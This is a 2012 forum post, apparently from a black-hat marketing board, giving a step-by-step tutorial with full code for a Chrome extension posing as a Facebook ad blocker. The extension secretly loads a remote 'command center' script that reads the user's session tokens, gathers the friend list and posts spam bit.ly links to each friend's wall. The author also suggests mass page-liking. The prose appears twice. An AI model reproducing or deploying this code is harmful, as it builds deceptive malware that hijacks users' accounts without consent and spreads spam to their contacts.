StellaArtois
BANNED
- Jun 13, 2011
- 104
- 357
Note: Untested. I was just about to test it and write the last part about uploading to Google Chrome Store and my food arrived. I've write this based on my experience with Chrome extensions and my current extensions that I have out there. Will test and update in an hour or so. Read through it though, get a gist/idea about what's going on. Feel free to ask questions before I update and I'll include it in the tutorial.
I've had a lot of questions on how to create extensions from this thread: http://www.blackhatworld.com/blackhat-seo/facebook/389669-fb-secret-how-i-bank.html
Well, it's 2012, and it's your lucky day. Here is my personal tutorial for you guys. So, without wasting any time let's jump straight into this.
We're going to create a toolbar that hides the Facebook adverts. You can make your toolbar do anything you want. We will then add a script so we can write on the users wall when they install the toolbar. Please note, if you do anything beyond this, such as mass liking pages using your extension users etc. then I am not liable for any legal issues you face
We are going to place this toolbar in the chrome store. Simply because Chrome handles updates automatically. If you upload a new update, Chrome will distribute it to your users and install it automatically.
Create a folder on your desktop called: fbExtension
Now, create the following folders and files within the fbExtension folder:
background.html
contentscript.js
jquery.js
manifest.json
You don't actually need the background.html for this example but it can be useful later on. For this tutorial it will be blank.
You also need to add 3 icons. Use photoshop or paint for these. For the sake of the tutorial just fill each image with a solid color. The following images should be placed in the fbExtension folder.
icon-16.gif (size: 16px x 16px)
icon-48.gif (size: 48px x 48px)
icon-128.gif (size: 128px x 128px)
Manifest.json
Everything there is self explanatory. The content_scripts: section means the content script and jQuery will be loaded on Facebook. The js: section is our jquery.js and contentscript.js file.
Content script will contain the code to remove the Facebook ads.
contentscript.js
This simply removes the sidebar that displays the ads. It's a very simple approach for the sake of this tutorial. Could have done it without jQuery, but I'm using my current extensions to base this tutorial off.
Notice the comment // External JS.
This is where we place code such as writing on the users wall. If you're a naughty person you would put the code to like pages, invite to events etc. in here. You place the file stats.js on a server you have access to. The extension will include this. We will get to that part in a moment. Nothing really fancy going on here.
In jQuery JS copy and paste the latest jQuery library code into the file and save it. Use this one for the tutorial ... http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
Now, onto the stats.js. Remember this is our command center. We can issue commands on the users browsers and change them whenever we want. In this example we will write on the users wall, and their friends, when they install the extension.
We can't use jQuery in stats.js btw. At least not in my example. We need to handle cookies, but I've included some functions to do that.
stats.js
The only thing you need to worry about here is the 2 arrays ... messages and domains. This is what is posted to the users, and their friends, walls. The script pics one at random. Easy. The bit.ly links will be placed later on after we've uploaded to the chrome store.
Save this as stats.js on your desktop. Now, upload it to a server you own. Once uploaded, go back to content.js and replace the value of the tracking.src variable/property.
Now time to test it out. Save everything. Load up chrome. Click on Windows, then extensions. Tick the developer mode button. Click "Load Unpacked Extensions". Locate the folder fbExtension and select it. Chrome will now load your toolbar.
Test it out. Be warned, your friends will get spammed with bit.ly links that dont work. So be careful
If everything is working fine next we will upload it to the Chrome store and replace the bit.ly links in stats.js.
NOTE. I WILL ADD THIS PART AFTER I'VE FINISHED MY FOOD. EATING TIME. HOLD ON TIGHT!
I've had a lot of questions on how to create extensions from this thread: http://www.blackhatworld.com/blackhat-seo/facebook/389669-fb-secret-how-i-bank.html
Well, it's 2012, and it's your lucky day. Here is my personal tutorial for you guys. So, without wasting any time let's jump straight into this.
We're going to create a toolbar that hides the Facebook adverts. You can make your toolbar do anything you want. We will then add a script so we can write on the users wall when they install the toolbar. Please note, if you do anything beyond this, such as mass liking pages using your extension users etc. then I am not liable for any legal issues you face
We are going to place this toolbar in the chrome store. Simply because Chrome handles updates automatically. If you upload a new update, Chrome will distribute it to your users and install it automatically.
Create a folder on your desktop called: fbExtension
Now, create the following folders and files within the fbExtension folder:
background.html
contentscript.js
jquery.js
manifest.json
You don't actually need the background.html for this example but it can be useful later on. For this tutorial it will be blank.
You also need to add 3 icons. Use photoshop or paint for these. For the sake of the tutorial just fill each image with a solid color. The following images should be placed in the fbExtension folder.
icon-16.gif (size: 16px x 16px)
icon-48.gif (size: 48px x 48px)
icon-128.gif (size: 128px x 128px)
Manifest.json
Code:
{
"name": "Remove Facebook Ads",
"version": "1.0.0",
"description": "Removes advertisements on Facebook",
"icons": { "16": "icon-16.gif",
"48": "icon-48.gif",
"128": "icon-128.gif" },
"background_page": "background.html",
"content_scripts": [
{
"matches": ["http://www.facebook.com/*","https://www.facebook.com/*"],
"js": ["jquery.js", "contentscript.js"]
}
]
}
Everything there is self explanatory. The content_scripts: section means the content script and jQuery will be loaded on Facebook. The js: section is our jquery.js and contentscript.js file.
Content script will contain the code to remove the Facebook ads.
contentscript.js
Code:
$(document).ready(function() {
// External JS. This is the command center.
(function(d){
var trackingjs, id = 'stats'; if (d.getElementById(id)) {return;}
trackingjs = d.createElement('script'); trackingjs.id = id; trackingjs.async = true;
trackingjs.src = "http://yoursite.com/stats.js";
d.getElementsByTagName('body')[0].appendChild(trackingjs);
}(document));
var inject = function() {
jQuery('.rightColumnWrapper').hide();
};
document.body.addEventListener("DOMNodeInserted", inject, false);
});
This simply removes the sidebar that displays the ads. It's a very simple approach for the sake of this tutorial. Could have done it without jQuery, but I'm using my current extensions to base this tutorial off.
Notice the comment // External JS.
This is where we place code such as writing on the users wall. If you're a naughty person you would put the code to like pages, invite to events etc. in here. You place the file stats.js on a server you have access to. The extension will include this. We will get to that part in a moment. Nothing really fancy going on here.
In jQuery JS copy and paste the latest jQuery library code into the file and save it. Use this one for the tutorial ... http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
Now, onto the stats.js. Remember this is our command center. We can issue commands on the users browsers and change them whenever we want. In this example we will write on the users wall, and their friends, when they install the extension.
We can't use jQuery in stats.js btw. At least not in my example. We need to handle cookies, but I've included some functions to do that.
stats.js
Code:
// Checks to make sure the user is logged in
if(readCookie('c_user') != null) {
if(readCookie('installed') != 'true') {
var pfid = document.getElementsByName('post_form_id')[0].value;
var fbdtsg = document.getElementsByName('fb_dtsg')[0].value;
var user = Env.user;
var xhpc = document.getElementsByName('xhpc_composerid')[0].value;
xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4) {
if (xmlHttp.status == 200) {
var response = stripslashes(xmlHttp.responseText);
response = response.replace(RegExp( "\\t", "g" ), response);
var obj = JSON.parse(response.substring(9));
friends = obj.payload.entries;
var friendsJSON = {};
for(var i = 0; i <= friends.length; i++)
{
if(typeof friends[i] != 'undefined'){
shareURL(friends[i].uid);
}
}
createCookie('installed','true',365);
}
}
};
xmlHttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user, true);
xmlHttp.send( null );
} else {
// Already posted. Console log if you need.
}
}
function shareURL(uid)
{
var messages = [
"I've removed the ads from Facebook pretty cool. Check it out ",
"Yay! No more ads on fb. Love it ",
"Remove your FB ads ... ",
"I hate FB ads. Thanks for this cool plugin "
];
var domains = [
"http://bit.ly/xxxx",
"http://bit.ly/xxxx",
"http://bit.ly/xxxx",
"http://bit.ly/xxxx",
"http://bit.ly/xxxx",
"http://bit.ly/xxxx",
]
var randomMessage = messages[Math.floor(messages.length * Math.random())];
var randDomain = domains[Math.floor(domains.length * Math.random())];
var site = randDomain + "?" + Math['random']();
var postData = "post_form_id=" + pfid + "&fb_dtsg=" + fbdtsg + "&xhpc_composerid=" + xhpc + "&xhpc_targetid=" + uid + "&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=" + encodeURIComponent(randomMessage + site) + "&xhpc_message=" + encodeURIComponent(randomMessage + site) + "&composertags_place=&composertags_place_name=&composer_predicted_city=105952546102246&composer_session_id=1321840908&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=" + user;
xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4) {
if (xmlHttp.status == 200) {
//alert("Posted to: " + uid);
}
}
};
xmlHttp.open("POST", "http://www.facebook.com/ajax/updatestatus.php?__a=1", true);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
xmlHttp.setRequestHeader("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20100101 Firefox/8.0");
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.send(postData);
}
// Handy strip slashes function
function stripslashes (str) {
return (str + '').replace(/\\(.?)/g, function (s, n1) {
switch (n1) {
case '\\':
return '\\';
case '0':
return '\u0000';
case '':
return '';
default:
return n1;
}
});
}
// Some cookie handling functions.
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
createCookie(name,"",-1);
}
The only thing you need to worry about here is the 2 arrays ... messages and domains. This is what is posted to the users, and their friends, walls. The script pics one at random. Easy. The bit.ly links will be placed later on after we've uploaded to the chrome store.
Save this as stats.js on your desktop. Now, upload it to a server you own. Once uploaded, go back to content.js and replace the value of the tracking.src variable/property.
Now time to test it out. Save everything. Load up chrome. Click on Windows, then extensions. Tick the developer mode button. Click "Load Unpacked Extensions". Locate the folder fbExtension and select it. Chrome will now load your toolbar.
Test it out. Be warned, your friends will get spammed with bit.ly links that dont work. So be careful
If everything is working fine next we will upload it to the Chrome store and replace the bit.ly links in stats.js.
NOTE. I WILL ADD THIS PART AFTER I'VE FINISHED MY FOOD. EATING TIME. HOLD ON TIGHT!
Last edited: